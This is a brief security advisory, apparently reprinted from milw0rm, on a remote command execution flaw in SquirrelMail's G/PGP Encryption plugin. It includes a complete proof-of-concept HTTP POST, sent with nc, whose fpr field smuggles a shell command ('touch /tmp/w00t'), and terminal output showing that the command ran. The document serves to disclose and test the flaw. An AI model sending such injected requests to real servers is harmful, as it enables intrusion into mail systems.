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SquirrelMail G/PGP Encryption Plug-in Remote Command Execution
Vulnerability
------------------------------------------------------------------------
SUMMARY
A vulnerability in SquirrelMail's G/PGP Encryption plugin allows remote
attackers to execute arbitrary code on the machine upon the products sits
upon, the following exploit code can be used to test the vulnerability.
DETAILS
Proof of Concept:
testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#
***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
id=C5B1611B8E71C***&fpr= | touch /tmp/w00t |
&pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1
..
testbox:/home/w00t# cat /tmp/w00t
testbox:/home/w00t#
ADDITIONAL INFORMATION
The information has been provided by jmp-esp.
The original article can be found at:
<http://www.milw0rm.com/exploits/4173>
http://www.milw0rm.com/exploits/4173
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